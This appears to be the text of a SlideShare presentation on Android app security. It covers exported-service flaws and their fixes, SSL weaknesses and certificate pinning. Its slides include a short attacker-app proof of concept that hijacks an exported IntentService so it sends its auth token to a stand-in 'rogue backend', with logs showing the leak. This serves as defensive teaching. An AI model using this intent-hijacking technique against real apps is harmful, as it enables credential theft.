SlideShare a Scribd company logo
Common Sense Security 
in Android Applications 
by Igor Korobka
Agenda 
1. When it’s public - people WILL use it 
2. SSL and its problems 
3. And how to fix these problems
When it’s public - people WILL use it 
Bad things are always going to happen 
in life. People will hurt you… 
… By exploiting vulnerabilities in you 
applications!
When it’s public - people WILL use it 
Bad things are always going to happen 
in life. People will hurt you… 
… By exploiting vulnerabilities in you 
applications!
Update Data Service 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
... 
<service 
android:name=".UpdateDataIntentService" > 
<intent-filter> 
<action android:name= 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> 
</intent-filter> 
</service> 
... 
</manifest>
Update Data Service 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
... 
<service 
android:name=".UpdateDataIntentService" > 
<intent-filter> 
<action android:name= 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> 
</intent-filter> 
</service> 
... 
</manifest>
Update Data Service 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
... 
<service 
android:name=".UpdateDataIntentService" > 
<intent-filter> 
<action android:name= 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> 
</intent-filter> 
</service> 
... 
</manifest>
Update Data Service 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
... 
<service 
android:name=".UpdateDataIntentService" > 
<intent-filter> 
<action android:name= 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> 
</intent-filter> 
</service> 
... 
</manifest>
Update Data Service 
public class UpdateDataIntentService extends IntentService { 
private static final String ACTION_UPDATE_DATA = 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; 
private static final String EXTRA_URL = 
"com.epam.itweek.commonsensesecurity.extra.URL"; 
public static void startDataUpdate(Context context, String url) { 
Intent intent = new Intent(context, UpdateDataIntentService.class); 
intent.setAction(ACTION_UPDATE_DATA); 
intent.putExtra(EXTRA_URL, url); 
context.startService(intent); 
} 
@Override 
protected void onHandleIntent(Intent intent) { 
... 
if (ACTION_UPDATE_DATA.equals(action)) { 
final String url = intent.getStringExtra(EXTRA_URL); 
performDataUpdate(url); 
} 
... 
} 
}
Update Data Service 
public class UpdateDataIntentService extends IntentService { 
private static final String ACTION_UPDATE_DATA = 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; 
private static final String EXTRA_URL = 
"com.epam.itweek.commonsensesecurity.extra.URL"; 
public static void startDataUpdate(Context context, String url) { 
Intent intent = new Intent(context, UpdateDataIntentService.class); 
intent.setAction(ACTION_UPDATE_DATA); 
intent.putExtra(EXTRA_URL, url); 
context.startService(intent); 
} 
@Override 
protected void onHandleIntent(Intent intent) { 
... 
if (ACTION_UPDATE_DATA.equals(action)) { 
final String url = intent.getStringExtra(EXTRA_URL); 
performDataUpdate(url); 
} 
... 
} 
}
Update Data Service 
public class UpdateDataIntentService extends IntentService { 
private static final String ACTION_UPDATE_DATA = 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; 
private static final String EXTRA_URL = 
"com.epam.itweek.commonsensesecurity.extra.URL"; 
public static void startDataUpdate(Context context, String url) { 
Intent intent = new Intent(context, UpdateDataIntentService.class); 
intent.setAction(ACTION_UPDATE_DATA); 
intent.putExtra(EXTRA_URL, url); 
context.startService(intent); 
} 
@Override 
protected void onHandleIntent(Intent intent) { 
... 
if (ACTION_UPDATE_DATA.equals(action)) { 
final String url = intent.getStringExtra(EXTRA_URL); 
performDataUpdate(url); 
} 
... 
} 
}
Update Data Service 
public class UpdateDataIntentService extends IntentService { 
private static final String ACTION_UPDATE_DATA = 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; 
private static final String EXTRA_URL = 
"com.epam.itweek.commonsensesecurity.extra.URL"; 
public static void startDataUpdate(Context context, String url) { 
Intent intent = new Intent(context, UpdateDataIntentService.class); 
intent.setAction(ACTION_UPDATE_DATA); 
intent.putExtra(EXTRA_URL, url); 
context.startService(intent); 
} 
@Override 
protected void onHandleIntent(Intent intent) { 
... 
if (ACTION_UPDATE_DATA.equals(action)) { 
final String url = intent.getStringExtra(EXTRA_URL); 
performDataUpdate(url); 
} 
... 
} 
}
Update Data Service 
public class UpdateDataIntentService extends IntentService { 
... 
private void performDataUpdate(String url) { 
Request request = new Request.Builder() 
.url(url) 
.addHeader(TOKEN, AuthManager.getInstance().getToken()) 
.build(); 
OkHttpClient client = new OkHttpClient(); 
Response response = client.newCall(request).execute(); 
String newData = response.body().string(); 
storeDataInDb(newData); 
} 
... 
}
Update Data Service 
public class UpdateDataIntentService extends IntentService { 
... 
private void performDataUpdate(String url) { 
Request request = new Request.Builder() 
.url(url) 
.addHeader(TOKEN, AuthManager.getInstance().getToken()) 
.build(); 
OkHttpClient client = new OkHttpClient(); 
Response response = client.newCall(request).execute(); 
String newData = response.body().string(); 
storeDataInDb(newData); 
} 
... 
}
Update Data Service 
public class UpdateDataIntentService extends IntentService { 
... 
private void performDataUpdate(String url) { 
Request request = new Request.Builder() 
.url(url) 
.addHeader(TOKEN, AuthManager.getInstance().getToken()) 
.build(); 
OkHttpClient client = new OkHttpClient(); 
Response response = client.newCall(request).execute(); 
String newData = response.body().string(); 
storeDataInDb(newData); 
} 
... 
}
Update Data Service 
public class UpdateDataIntentService extends IntentService { 
... 
private void performDataUpdate(String url) { 
Request request = new Request.Builder() 
.url(url) 
.addHeader(TOKEN, AuthManager.getInstance().getToken()) 
.build(); 
OkHttpClient client = new OkHttpClient(); 
Response response = client.newCall(request).execute(); 
String newData = response.body().string(); 
storeDataInDb(newData); 
} 
... 
}
Update Data Service 
public class RegularDataActivity extends Activity { 
private static final String URL_PRODUCTION_BACKEND = "http://google.com"; 
... 
@OnClick(R.id.update) void onUpdateDataClick() { 
UpdateDataIntentService.startDataUpdate(this, URL_PRODUCTION_BACKEND); 
} 
}
Update Data Service 
public class RegularDataActivity extends Activity { 
private static final String URL_PRODUCTION_BACKEND = "http://google.com"; 
... 
@OnClick(R.id.update) void onUpdateDataClick() { 
UpdateDataIntentService.startDataUpdate(this, URL_PRODUCTION_BACKEND); 
} 
}
Update Data Service 
public class RegularDataActivity extends Activity { 
private static final String URL_PRODUCTION_BACKEND = "http://google.com"; 
... 
@OnClick(R.id.update) void onUpdateDataClick() { 
UpdateDataIntentService.startDataUpdate(this, URL_PRODUCTION_BACKEND); 
} 
}
Update Data Service 
08-02 15:55:43.034 21021- 
21176/com.epam.itweek.commonsensesecurity.downloader 
D/UpdateDataIntentService﹕ ⇢ onHandleIntent(intent=Intent { 
act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA 
cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService 
(has extras) }) @Thread:IntentService[UpdateDataIntentService] 
08-02 15:55:43.439 21021- 
21176/com.epam.itweek.commonsensesecurity.downloader 
W/UpdateDataIntentService﹕ performDataUpdate: backend: [http://google.com] 
08-02 15:55:43.440 21021- 
21176/com.epam.itweek.commonsensesecurity.downloader 
W/UpdateDataIntentService﹕ performDataUpdate: token sent to backend: 
[secure_token] 
08-02 15:55:43.440 21021- 
21176/com.epam.itweek.commonsensesecurity.downloader 
D/UpdateDataIntentService﹕ ⇠ onHandleIntent [405ms]
Update Data Service 
08-02 15:55:43.034 21021- 
21176/com.epam.itweek.commonsensesecurity.downloader 
D/UpdateDataIntentService﹕ ⇢ onHandleIntent(intent=Intent { 
act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA 
cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService 
(has extras) }) @Thread:IntentService[UpdateDataIntentService] 
08-02 15:55:43.439 21021- 
21176/com.epam.itweek.commonsensesecurity.downloader 
W/UpdateDataIntentService﹕ performDataUpdate: backend: [http://google.com] 
08-02 15:55:43.440 21021- 
21176/com.epam.itweek.commonsensesecurity.downloader 
W/UpdateDataIntentService﹕ performDataUpdate: token sent to backend: 
[secure_token] 
08-02 15:55:43.440 21021- 
21176/com.epam.itweek.commonsensesecurity.downloader 
D/UpdateDataIntentService﹕ ⇠ onHandleIntent [405ms]
Update Data Service 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
... 
<service 
android:name=".UpdateDataIntentService" > 
<intent-filter> 
<action android:name= 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> 
</intent-filter> 
</service> 
... 
</manifest>
Attack Update Data Service 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloaderattaccker" > 
... 
</manifest>
Attack Update Data Service 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloaderattaccker" > 
... 
</manifest>
Attack Update Data Service 
public class AttackDownloaderActivity extends Activity { 
public static final String URL_ROGUE_BACKEND = "http://bing.com"; 
... 
@OnClick(R.id.attackDownloader) void onAttackClicked() { 
Intent intent = new Intent( 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); 
ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); 
intent.setClassName(resolveInfo.serviceInfo.packageName, 
resolveInfo.serviceInfo.name); 
intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", 
URL_ROGUE_BACKEND); 
startService(intent); 
} 
}
Attack Update Data Service 
public class AttackDownloaderActivity extends Activity { 
public static final String URL_ROGUE_BACKEND = "http://bing.com"; 
... 
@OnClick(R.id.attackDownloader) void onAttackClicked() { 
Intent intent = new Intent( 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); 
ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); 
intent.setClassName(resolveInfo.serviceInfo.packageName, 
resolveInfo.serviceInfo.name); 
intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", 
URL_ROGUE_BACKEND); 
startService(intent); 
} 
}
Attack Update Data Service 
public class AttackDownloaderActivity extends Activity { 
public static final String URL_ROGUE_BACKEND = "http://bing.com"; 
... 
@OnClick(R.id.attackDownloader) void onAttackClicked() { 
Intent intent = new Intent( 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); 
ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); 
intent.setClassName(resolveInfo.serviceInfo.packageName, 
resolveInfo.serviceInfo.name); 
intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", 
URL_ROGUE_BACKEND); 
startService(intent); 
} 
}
Attack Update Data Service 
public class AttackDownloaderActivity extends Activity { 
public static final String URL_ROGUE_BACKEND = "http://bing.com"; 
... 
@OnClick(R.id.attackDownloader) void onAttackClicked() { 
Intent intent = new Intent( 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); 
ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); 
intent.setClassName(resolveInfo.serviceInfo.packageName, 
resolveInfo.serviceInfo.name); 
intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", 
URL_ROGUE_BACKEND); 
startService(intent); 
} 
}
Attack Update Data Service 
08-02 15:59:10.197 21021- 
22014/com.epam.itweek.commonsensesecurity.downloader 
D/UpdateDataIntentService﹕ ⇢ onHandleIntent(intent=Intent { 
act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA 
cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService 
(has extras) }) @Thread:IntentService[UpdateDataIntentService] 
08-02 15:59:10.616 21021- 
22014/com.epam.itweek.commonsensesecurity.downloader 
W/UpdateDataIntentService﹕ performDataUpdate: backend: [http://bing.com] 
08-02 15:59:10.616 21021- 
22014/com.epam.itweek.commonsensesecurity.downloader 
W/UpdateDataIntentService﹕ performDataUpdate: token sent to backend: 
[secure_token] 
08-02 15:59:10.616 21021- 
22014/com.epam.itweek.commonsensesecurity.downloader 
D/UpdateDataIntentService﹕ ⇠ onHandleIntent [419ms]
Attack Update Data Service 
08-02 15:59:10.197 21021- 
22014/com.epam.itweek.commonsensesecurity.downloader 
D/UpdateDataIntentService﹕ ⇢ onHandleIntent(intent=Intent { 
act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA 
cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService 
(has extras) }) @Thread:IntentService[UpdateDataIntentService] 
08-02 15:59:10.616 21021- 
22014/com.epam.itweek.commonsensesecurity.downloader 
W/UpdateDataIntentService﹕ performDataUpdate: backend: [http://bing.com] 
08-02 15:59:10.616 21021- 
22014/com.epam.itweek.commonsensesecurity.downloader 
W/UpdateDataIntentService﹕ performDataUpdate: token sent to backend: 
[secure_token] 
08-02 15:59:10.616 21021- 
22014/com.epam.itweek.commonsensesecurity.downloader 
D/UpdateDataIntentService﹕ ⇠ onHandleIntent [419ms]
Attack Update Data Service 
UpdateDataIntentService has just 
handed off our secure token to a 
stranger server… 
This is not good...
Attack Update Data Service 
UpdateDataIntentService has just 
handed off our secure token to a 
stranger server… 
This is not good...
Secure Update Data Service 
We have to do something about it…
Do Not Export Update Data Service 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
... 
<service 
android:name=".UpdateDataIntentService" 
android:exported="false" /> 
... 
</manifest>
Do Not Export Update Data Service 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
... 
<service 
android:name=".UpdateDataIntentService" 
android:exported="false" /> 
... 
</manifest>
Do Not Export Update Data Service 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
... 
<service 
android:name=".UpdateDataIntentService" 
android:exported="false" /> 
... 
</manifest>
Attack Not Exported Update Data 
Service 
08-02 17:22:00.720 11702-11702/ 
com.epam.itweek.commonsensesecurity.downloaderattaccker.notexported 
E/AndroidRuntime﹕ FATAL EXCEPTION: main 
Process: 
com.epam.itweek.commonsensesecurity.downloaderattaccker.notexported, 
PID: 11702 
java.lang.SecurityException: Not allowed to start service Intent { 
act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA 
cmp=com.epam.itweek.commonsensesecurity.downloader.notexported/com.epam.itw 
eek.commonsensesecurity.downloader.UpdateDataIntentService (has extras) } 
without permission not exported from uid 10191 
at 
android.app.ContextImpl.startServiceCommon(ContextImpl.java:1639) 
at android.app.ContextImpl.startService(ContextImpl.java:1616) 
at 
android.content.ContextWrapper.startService(ContextWrapper.java:505) 
at 
com.epam.itweek.commonsensesecurity.downloaderattaccker.AttackDownloaderAct 
ivity.onAttackClicked(AttackDownloaderActivity.java:30) 
...
Update Data Service With Permission 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
<permission android:name= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" 
android:description="@string/permission_description" 
android:protectionLevel="signature" /> 
<uses-permission android:name= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/> 
<service android:permission= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" 
android:name=".UpdateDataIntentService" > 
<intent-filter> 
<action android:name= 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> 
</intent-filter> 
</service> 
</manifest>
Update Data Service With Permission 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
<permission android:name= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" 
android:description="@string/permission_description" 
android:protectionLevel="signature" /> 
<uses-permission android:name= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/> 
<service android:permission= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" 
android:name=".UpdateDataIntentService" > 
<intent-filter> 
<action android:name= 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> 
</intent-filter> 
</service> 
</manifest>
Update Data Service With Permission 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
<permission android:name= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" 
android:description="@string/permission_description" 
android:protectionLevel="signature" /> 
<uses-permission android:name= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/> 
<service android:permission= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" 
android:name=".UpdateDataIntentService" > 
<intent-filter> 
<action android:name= 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> 
</intent-filter> 
</service> 
</manifest>
Update Data Service With Permission 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.epam.itweek.commonsensesecurity.downloader" > 
<permission android:name= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" 
android:description="@string/permission_description" 
android:protectionLevel="signature" /> 
<uses-permission android:name= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/> 
<service android:permission= 
"com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" 
android:name=".UpdateDataIntentService" > 
<intent-filter> 
<action android:name= 
"com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> 
</intent-filter> 
</service> 
</manifest>
Attack Update Data Service With 
Permission 
08-02 17:26:08.350 12460-12460/ 
com.epam.itweek.commonsensesecurity.downloaderattaccker.withpermission 
E/AndroidRuntime﹕ FATAL EXCEPTION: main 
Process: 
com.epam.itweek.commonsensesecurity.downloaderattaccker.withpermission, 
PID: 12460 
java.lang.SecurityException: Not allowed to start service Intent { 
act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA 
cmp=com.epam.itweek.commonsensesecurity.downloader.withpermission/com.epam. 
itweek.commonsensesecurity.downloader.UpdateDataIntentService (has extras) 
} without permission 
com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE 
at 
android.app.ContextImpl.startServiceCommon(ContextImpl.java:1639) 
at android.app.ContextImpl.startService(ContextImpl.java:1616) 
at 
android.content.ContextWrapper.startService(ContextWrapper.java:505) 
at 
com.epam.itweek.commonsensesecurity.downloaderattaccker.AttackDownloaderAct 
ivity.onAttackClicked(AttackDownloaderActivity.java:30) 
...
Reference: Real-life vulnerabilities 
● Unauthorized Origin Crossing on Mobile Platforms: Threats and Mitigation 
o academic paper - http://goo.gl/4wAO93 
o Ars Technica article on the topic - http://goo.gl/3KXUVD 
o Developer’s point of view - http://goo.gl/X2tETV 
● Android OEM’s applications (in)security and backdoors without permission 
o http://goo.gl/0eHVnx 
o by Andr´e Moulu from QuarksLab 
o interesting starts at slide #75 
o read from beginning if you want to know why Samsung software is crap low quality
SSL and its problems 
There are 3 types of software: 
data producers, data consumers and 
bad guys in between them
SSL 
● Encrypts network communication 
● with a generated session secret 
● using server’s X.509 certificate 
● relies on Certificate Authorities for certificate validity 
Designed for use in general purpose network communication tools: 
● Browsers 
● Email clients 
● IM clients
SSL 
● Encrypts network communication 
● with a generated session secret 
● using server’s X.509 certificate 
● relies on Certificate Authorities for certificate validity 
Designed for use in general purpose network communication tools: 
● Browsers 
● Email clients 
● IM clients
SSL 
Client makes sure that certificate: 
● has a verifiable chain of trust back to a trusted (root) certificate 
● matches the requested hostname 
And this is good! 
Browsers verify website's identity via trusted CAs because they simply don’t 
know whom they will be communicating with the other day. 
But this is also bad! 
Client does not check if it is your certificate, the one you uploaded to your 
server.
SSL and its problems 
● Man In The Middle (MITM) Attacks 
○ Hacked CAs (Comodo, DigiNotar, TurkTrust) 
○ Social engineering ("Free wifi! Just add this root cert to your device!") 
○ NSA 
● Complex nature, so implementations are sometimes buggy 
● Others?
Heartbleed
Google Play Services 
The Security API allows you to easily install a dynamic security provider. 
New versions of Google Play Services will keep the security provider up-to-date with the latest 
security fixes as those become available.
Google Play Services - Security API 
ProviderInstaller.installIfNeeded(getApplicationContext())
SSL Pinning on Android
Pinning 
A pin is a hex-encoded hash of a X.509 certificate's SubjectPublicKeyInfo. 
Library is available for your needs: 
dependencies { 
compile 'org.thoughtcrime.ssl.pinning:AndroidPinning:1.0.0'}
Pinning - HttpsURLConnection 
String[] pins = new String[] {"f30012bbc18c231ac1a44b788e410ce754182513"}; 
URL url = new URL("https://www.google.com"); 
HttpsURLConnection connection = 
PinningHelper.getPinnedHttpsURLConnection(context, pins, url);
Pinning - HttpClient 
String[] pins = new String[] {"f30012bbc18c231ac1a44b788e410ce754182513"}; 
HttpClient httpClient = PinningHelper.getPinnedHttpClient(context, 
pins);HttpResponse response = httpClient.execute( 
new HttpGet("https://www.google.com/"));
PinningTrustManager & 
PinningSSLSocketFactory 
String[] pins = new String[] 
{"40c5401d6f8cbaf08b00edefb1ee87d005b3b9cd"};SchemeRegistry schemeRegistry 
= new SchemeRegistry();schemeRegistry.register( 
new Scheme("http", PlainSocketFactory.getSocketFactory(), 
80));schemeRegistry.register(new Scheme("https", 
new PinningSSLSocketFactory(getContext() ,pins, 0), 443));HttpParams 
httpParams = new BasicHttpParams();ClientConnectionManager 
connectionManager = 
new ThreadSafeClientConnManager(httpParams, 
schemeRegistry);DefaultHttpClient httpClient = 
new DefaultHttpClient(connectionManager, httpParams);HttpResponse 
response = httpClient.execute( 
new HttpGet("https://www.google.com/"));
References 
● Why app developers should care about SSL pinning - http://goo.gl/eoc0ij 
● Your app shouldn't suffer SSL's problems - http://goo.gl/lpMVFD 
● SSL on Android: The Basics - http://goo.gl/TgAK7N 
● SSL on Android: Memorizing and Pinning - http://goo.gl/Ut3ysD 
● PSA: WebView, Chrome Accept Revoked SSL Certificates - http://goo.gl/ds6Fjd 
● More on Android and Revoked SSL Certificates - http://goo.gl/Qg7mfv 
● Usage: TrustManagerBuilder - http://goo.gl/rnDwzp 
● Certificate pinning in Android 4.2 - http://goo.gl/ut5xpA
Thank you! 
Q&A 
Slides available at http://goo.gl/jAfLvz

More Related Content

What's hot

Search APIs in Spotlight and Safari
Search APIs in Spotlight and SafariSearch APIs in Spotlight and Safari
Search APIs in Spotlight and Safari
Yusuke Kita
 
Eddystone beacons demo
Eddystone beacons demoEddystone beacons demo
Eddystone beacons demo
Angelo Rüggeberg
 
How to make workout app for watch os 2
How to make workout app for watch os 2How to make workout app for watch os 2
How to make workout app for watch os 2
Yusuke Kita
 
Url programming
Url programmingUrl programming
Url programming
vantinhkhuc
 
Implementing cast in android
Implementing cast in androidImplementing cast in android
Implementing cast in android
Angelo Rüggeberg
 
Let's your users share your App with Friends: App Invites for Android
 Let's your users share your App with Friends: App Invites for Android Let's your users share your App with Friends: App Invites for Android
Let's your users share your App with Friends: App Invites for Android
Wilfried Mbouenda Mbogne
 
Servlets intro
Servlets introServlets intro
Servlets intro
vantinhkhuc
 
Sebastian Schmidt, Rachel Myers - How To Go Serverless And Not Violate The GD...
Sebastian Schmidt, Rachel Myers - How To Go Serverless And Not Violate The GD...Sebastian Schmidt, Rachel Myers - How To Go Serverless And Not Violate The GD...
Sebastian Schmidt, Rachel Myers - How To Go Serverless And Not Violate The GD...
Codemotion
 
What's Parse
What's ParseWhat's Parse
What's Parse
Tsutomu Ogasawara
 
Introducing Cardio
Introducing CardioIntroducing Cardio
Introducing Cardio
Yusuke Kita
 
Hitchhiker's guide to the win8
Hitchhiker's guide to the win8Hitchhiker's guide to the win8
Hitchhiker's guide to the win8
Jua Alice Kim
 
Assistive Technology_Research
Assistive Technology_ResearchAssistive Technology_Research
Assistive Technology_Research
Meng Kry
 
async/await in Swift
async/await in Swiftasync/await in Swift
async/await in Swift
Peter Friese
 
Parse: A Mobile Backend as a Service (MBaaS)
Parse: A Mobile Backend as a Service (MBaaS)Parse: A Mobile Backend as a Service (MBaaS)
Parse: A Mobile Backend as a Service (MBaaS)
Ville Seppänen
 
Firebase ng2 zurich
Firebase ng2 zurichFirebase ng2 zurich
Firebase ng2 zurich
Christoffer Noring
 
Azure Durable Functions (2019-03-30)
Azure Durable Functions (2019-03-30) Azure Durable Functions (2019-03-30)
Azure Durable Functions (2019-03-30)
Paco de la Cruz
 
Rushed to Victory Gardens' stage, An Issue of Blood is more effusion than play
Rushed to Victory Gardens' stage, An Issue of Blood is more effusion than playRushed to Victory Gardens' stage, An Issue of Blood is more effusion than play
Rushed to Victory Gardens' stage, An Issue of Blood is more effusion than play
chicagonewsyesterday
 
Academy PRO: ASP .NET Core
Academy PRO: ASP .NET Core Academy PRO: ASP .NET Core
Academy PRO: ASP .NET Core
Binary Studio
 
Simpan data- ke- database
Simpan data- ke- databaseSimpan data- ke- database
Simpan data- ke- database
Tri Sugihartono
 
Angular mix chrisnoring
Angular mix chrisnoringAngular mix chrisnoring
Angular mix chrisnoring
Christoffer Noring
 

What's hot (20)

Search APIs in Spotlight and Safari
Search APIs in Spotlight and SafariSearch APIs in Spotlight and Safari
Search APIs in Spotlight and Safari
 
Eddystone beacons demo
Eddystone beacons demoEddystone beacons demo
Eddystone beacons demo
 
How to make workout app for watch os 2
How to make workout app for watch os 2How to make workout app for watch os 2
How to make workout app for watch os 2
 
Url programming
Url programmingUrl programming
Url programming
 
Implementing cast in android
Implementing cast in androidImplementing cast in android
Implementing cast in android
 
Let's your users share your App with Friends: App Invites for Android
 Let's your users share your App with Friends: App Invites for Android Let's your users share your App with Friends: App Invites for Android
Let's your users share your App with Friends: App Invites for Android
 
Servlets intro
Servlets introServlets intro
Servlets intro
 
Sebastian Schmidt, Rachel Myers - How To Go Serverless And Not Violate The GD...
Sebastian Schmidt, Rachel Myers - How To Go Serverless And Not Violate The GD...Sebastian Schmidt, Rachel Myers - How To Go Serverless And Not Violate The GD...
Sebastian Schmidt, Rachel Myers - How To Go Serverless And Not Violate The GD...
 
What's Parse
What's ParseWhat's Parse
What's Parse
 
Introducing Cardio
Introducing CardioIntroducing Cardio
Introducing Cardio
 
Hitchhiker's guide to the win8
Hitchhiker's guide to the win8Hitchhiker's guide to the win8
Hitchhiker's guide to the win8
 
Assistive Technology_Research
Assistive Technology_ResearchAssistive Technology_Research
Assistive Technology_Research
 
async/await in Swift
async/await in Swiftasync/await in Swift
async/await in Swift
 
Parse: A Mobile Backend as a Service (MBaaS)
Parse: A Mobile Backend as a Service (MBaaS)Parse: A Mobile Backend as a Service (MBaaS)
Parse: A Mobile Backend as a Service (MBaaS)
 
Firebase ng2 zurich
Firebase ng2 zurichFirebase ng2 zurich
Firebase ng2 zurich
 
Azure Durable Functions (2019-03-30)
Azure Durable Functions (2019-03-30) Azure Durable Functions (2019-03-30)
Azure Durable Functions (2019-03-30)
 
Rushed to Victory Gardens' stage, An Issue of Blood is more effusion than play
Rushed to Victory Gardens' stage, An Issue of Blood is more effusion than playRushed to Victory Gardens' stage, An Issue of Blood is more effusion than play
Rushed to Victory Gardens' stage, An Issue of Blood is more effusion than play
 
Academy PRO: ASP .NET Core
Academy PRO: ASP .NET Core Academy PRO: ASP .NET Core
Academy PRO: ASP .NET Core
 
Simpan data- ke- database
Simpan data- ke- databaseSimpan data- ke- database
Simpan data- ke- database
 
Angular mix chrisnoring
Angular mix chrisnoringAngular mix chrisnoring
Angular mix chrisnoring
 

Viewers also liked

Certificate Pinning in Mobile Applications
Certificate Pinning in Mobile ApplicationsCertificate Pinning in Mobile Applications
Certificate Pinning in Mobile Applications
Luca Bongiorni
 
Pentesting iOS Apps
Pentesting iOS AppsPentesting iOS Apps
Pentesting iOS Apps
Herman Duarte
 
CocoaConf Austin 2014 | Demystifying Security Best Practices
CocoaConf Austin 2014 | Demystifying Security Best PracticesCocoaConf Austin 2014 | Demystifying Security Best Practices
CocoaConf Austin 2014 | Demystifying Security Best Practices
Mutual Mobile
 
A look-at-google-glass
A look-at-google-glassA look-at-google-glass
A look-at-google-glass
Lviv Startup Club
 
анна христюк “стратегії Email маркетингу”
анна христюк “стратегії Email маркетингу”анна христюк “стратегії Email маркетингу”
анна христюк “стратегії Email маркетингу”Lviv Startup Club
 
International business english (Workshop, part 3) Svitlana Stetsy
International business english (Workshop, part 3) Svitlana StetsyInternational business english (Workshop, part 3) Svitlana Stetsy
International business english (Workshop, part 3) Svitlana Stetsy
Lviv Startup Club
 
Lviv iCamp 2014. Христина Потоцька “За крок від покупки …”
Lviv iCamp 2014. Христина Потоцька “За крок від покупки …”Lviv iCamp 2014. Христина Потоцька “За крок від покупки …”
Lviv iCamp 2014. Христина Потоцька “За крок від покупки …”
Lviv Startup Club
 
Сергій Фіцак “Як вирости від фрілансера до керівника” Lviv Freelance Forum ...
Сергій Фіцак  “Як вирости від фрілансера до керівника” Lviv Freelance Forum  ...Сергій Фіцак  “Як вирости від фрілансера до керівника” Lviv Freelance Forum  ...
Сергій Фіцак “Як вирости від фрілансера до керівника” Lviv Freelance Forum ...
Lviv Startup Club
 
Олександр Нашиван “Концепції та стратегії програм лояльності”
Олександр Нашиван “Концепції та стратегії програм лояльності”Олександр Нашиван “Концепції та стратегії програм лояльності”
Олександр Нашиван “Концепції та стратегії програм лояльності”
Lviv Startup Club
 
Олена Халявка “Розробка сайту інтернет-магазину без “сучка і задирки”. Як пер...
Олена Халявка “Розробка сайту інтернет-магазину без “сучка і задирки”. Як пер...Олена Халявка “Розробка сайту інтернет-магазину без “сучка і задирки”. Як пер...
Олена Халявка “Розробка сайту інтернет-магазину без “сучка і задирки”. Як пер...
Lviv Startup Club
 
Олег Гапчин “Комплексна логістика, як драйвер розвитку інтернет магазину”
Олег Гапчин “Комплексна логістика, як драйвер розвитку інтернет магазину”Олег Гапчин “Комплексна логістика, як драйвер розвитку інтернет магазину”
Олег Гапчин “Комплексна логістика, як драйвер розвитку інтернет магазину”
Lviv Startup Club
 
Віктор Кривизюк «Боротьба за місце під сонцем в розподіленій команді (США, Ін...
